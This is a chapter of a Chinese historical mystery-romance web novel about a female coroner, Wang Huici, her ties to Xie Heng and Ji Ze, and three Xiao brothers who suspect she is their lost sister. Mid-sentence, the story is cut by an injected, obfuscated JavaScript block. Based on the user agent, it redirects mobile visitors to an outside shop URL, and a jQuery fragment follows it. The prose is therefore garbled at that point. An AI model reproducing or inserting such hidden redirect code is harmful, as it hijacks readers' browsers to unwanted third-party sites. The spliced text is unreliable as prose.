褚氏见话已说开,又想到今日纪泽见到王惠慈的神情,半是惊喜半是相思,爱慕之意藏都藏不住。她踌躇再三,干脆豁出老脸一并问道:
“纪泽和你……也有交情?”
王惠慈噗嗤一下笑了出来。
纪泽和谢珩都是魏玄成的得意门生,褚氏颇有手心手背都是肉的意思,王惠慈能理解她的担心。
“夫人放心,我还是明白自己的感情。纪少尹嘛,人不坏,但我和他所谓的缘分,着实苦不堪言了些。”
王惠慈将自己和纪泽的过往一五一十告诉褚氏,引得褚氏连连苦笑,末了王惠慈无奈说:
“纪少尹也未必多对我上心,我看他对气谢珩更来劲。”
果不其然,晚餐时几人围炉饮酒,纪泽为了住处,又和谢珩杠起来。
“我看你还是今晚回去吧。”谢珩慢条斯理撕下一条烤好的羊腿肉,放到对面王惠慈的盘中,“这里就三个院子,我可不和你挤。除非你愿意睡到前院吹风。”
纪泽歪头,“你怎么这样,明知天色已晚我走不了,又不愿和我一个院子,难不成你想去王姑娘那?我可告诉你啊,别动歪心思。”
“纪泽!”谢珩神色冷峻,“这是你能开玩笑的吗!”
“你俩别闹了。”褚氏出言训斥,“人家姑娘还在这里,看看你们都什么样子。纪泽你今晚住到主院去,委屈你睡偏房,谁让你招呼都不打一声。”
王惠慈放下酒杯,“要不我去偏房吧,一个人住院子里还怪害怕的。”
谢珩和纪泽双双看向王惠慈。
害怕?谢珩仿佛听到了什么天方夜谭,一个敢半夜抄家伙挖坟的人会害怕?怕什么?怕鬼揪着她耳朵让她帮忙沉冤昭雪吗?
不过她住到正院也好,这里毕竟处于山脚,万一有事情也好及时照应。
还能防着纪泽翻墙!
谢珩瞬间说服了自己,“我同意,我那院子让纪泽住,我住到王姑娘的院子去。”又对着王惠慈说:“等下我去帮你搬东西。”
“现在吧,”王惠慈又抿了一口酒,“这酒好喝,就是劲大,我去发散发散,回来继续吃。”
“也行。”谢珩起身,按住想要一起的纪泽,“你好好陪老师师母,不要添乱!”随后跟着王惠慈出了正院。
王惠慈回首,确认其他人听不到后,低声告诉谢珩:“下午我给褚夫人号脉开方,先约定七日后再来复诊。无论是不是你先前的托词,褚夫人的病不好再耽误了。”
谢珩一惊,“这么严重吗?”
“算不上严重。”王惠慈语气凝重,“可能是褚夫人患女科病,对男大夫多少难以启齿,且女科病调理时间较久,容易反复又不致命,因此耽误了下来。”
“那七日后我再送你过来。”
王惠慈笑着摇摇头,“大理寺事情多,七日之后又有七日,你也不能总告假,派个人送我来就行了。”
谢珩想想也是,遂与王惠慈约好时辰。王惠慈东西简单,两个人拿了便往正院去。
……
第二日一行人与魏玄成夫妇道别,王惠慈和谢珩同乘马车返回长安。
车行半路,王惠慈看到郊外有一道观,为玉仙观。忽而想起父亲临终前的嘱托,如若认亲,务必到长安城郊道观取出手记。
王惠慈开口:“谢少卿在长安多年,可否听说过灵都观?”
谢珩蹙眉思索许久,缓缓摇头。“本朝佛教兴胜,长安城附近有名的道观一只手就数得过来,只是我从未听说过灵都观。你怎么问这个?”
王惠慈亦有疑惑,“突然想起家父曾经提起,说长安城郊有一灵都观,求签十分灵验。既没有便算了,不是什么大事。”
“求签?”谢珩好奇,“你要求什么签?”
马儿嘶鸣一声,忽地停下,带着车厢也剧烈晃动。谢诚和谢平的声音响起:
“二公子——您怎么来了?”
谢珩推开车窗,看见谢璜打马上前。
谢璜从窗外扫了一眼,自然看见了王惠慈,只是事出紧急,没有多问,神色匆匆道:
“家里有点事情,父亲母亲找你,知道你今日归来,让我先行迎接。”说罢余光扫了一眼王惠慈,“大哥不若和我先行骑马归去。”
谢珩的神色瞬间严肃起来,王惠慈见状提议自己去搭纪泽的马车,横竖眼看就要进长安城,谢珩可加快速度直奔国公府。
可是谢珩拒绝,“还是送你回去,马车也走不了多快。”又扬声叫来谢平,谢珩换上他的马,和谢璜两骑绝尘而去。
王惠慈目露担忧,不知发生何事。此后一路无话,惴惴回到通化坊。先回家放下行囊,见天色尚早,便去了明世堂。
明世堂斜对面便是通化坊最大的茶坊,此刻三位贵公子依窗而坐,目送王惠慈走入明世堂正门。
“怎么样?可看清楚了?”
萧钧坐在里侧,观察两个哥哥的反应。
萧铭面色沉寂,一动不动凝视着明世堂大门,没有理会萧钧。
萧锦右手执杯,抿了一口茶,左手不停盘着两个掌旋球。他忽而笑了笑,眼底闪过一丝精光,“你怎么找上她的?”
萧钧看向二哥,“你怀疑是别人下套?”
萧锦手中的玉球呼呼作响,“正是因为太相像,所以才怀疑有人从中作梗。你查过她吗?什么来历?都和什么人接触过?”
萧铭也将目光调转到弟弟身上。
萧钧叹气……看来不是他一个人有预感,血缘有时就是这么不讲道理。
“她名叫王惠慈,是被谢珩带入长安的,她就是大理寺的女仵作。”
“谁?谢珩?她是仵作?”萧铭一脑门官司,简直不知从何问起,“谢珩不至于……他们怎么遇上的?而且你刚刚不是说她在明世堂坐诊?”
萧钧继续解释,“谢珩年前去益州办差带回来的。她原本就是仵作,因为纪泽……反正她不在大理寺了。我先前以为她是益州人,后来办案的时候发现谢珩到益州的时候就已经捎上她了。我多方查
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699083|208069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
探,他们应当是在建阳碰上的。”
“那之前呢?她一直在建阳?”萧铭扶额,“就在雍州?我们眼皮子底下?还有纪泽是怎么回事?”
萧钧便把王惠慈来到长安后协助查案,还有大理寺和京兆府的纠葛告诉兄长。
“我派去建阳的人回禀,她不是建阳县人,但当地的人多少听说过她,她之前是平南县的仵作,十分厉害。”萧钧顿了一下,“而且她就是孤儿,是被平南县的老仵作抚养长大的。”
萧锦突然停手,将掌旋球放在桌子上,“那她怎么会在建阳驿遇到谢珩?还有平南县,你有派人去吗?”
“这就是我奇怪的地方。”萧钧抱着胳膊,“我听大理寺的人说她父母去世,原本要去益州寻亲,但是没有找到。最后谢珩见她验尸技艺高超便带回了大理寺,而且我查了她的籍契,你们猜怎么着。”
“少卖关子。”萧锦端起茶杯,手上的翡翠戒指和钧瓷碰出叮当的声响。
“她把籍契转入了长安县,但是原籍不见了,而且户籍里还多带了一个人。”
“人为掩盖?”萧铭复又调转视线看向明世堂,“没有想到咱们的妹妹,堂堂长公主之女,居然沦落成一名仵作。”
“所以。”萧钧理了理思路,“二哥所谓下套我觉得尚不至于,我能发现她也是巧合。但是此事透着诡异,还需要多方查实。”
“二弟,”萧铭转身,“你从商多年,找一找可用的人手,先不要惊动父母,多方试探一下这个姑娘。以及咱们还是得找人去平南县,好好探听这个王姑娘的虚实……二弟?”
萧锦仿若神飞天外,萧铭唤他几次才回神。萧锦突然转向萧钧问道:“你刚刚说她姓什么?”
“姓王,叫王惠慈。怎么了?”萧钧不解。
萧锦向后靠着椅背,“大哥是否还记得,有一次我们偷偷听到父亲提起当年那桩事,当初一起不知所踪的,似乎还有一位谁家的门客,叫什么竹山先生,他是不是也姓王?”
……
这厢谢珩兄弟快马加鞭一路飞奔,在府前勒马停下,缰绳扔给仆从,二人大步流星走入大门。谢珩脚下不停,进门后先问弟弟出了何事。
“是族中之事。”已入府门,谢璜便无隐瞒,“昨日父亲接到信,谢瑜去世了。”
谢珩讶然,不过思及这个远房堂兄似乎一直身体欠佳,当即问道:“病逝吗?”
“不是。父亲说等你回来一起交代。”
说话间,兄弟二人来到父母所居之处。定国公早年卸任十六卫大将军,现如今只领骠骑大将军的散职,颇有归隐之意,整个人精神矍铄,不失风采。
定国公夫人常年念佛,手中攥着一串碧绿的翡翠佛珠,此刻她面色沉稳,额角鬓间可见些微岁月的痕迹,只是眉眼流露出几丝忧愁。
二人如常见礼,定国公将信件交予谢珩,耐心等他看完。
谢珩细细读来,末了双目微睁,一脸震惊看向自己父母。
“谢瑜兄长服毒自杀?”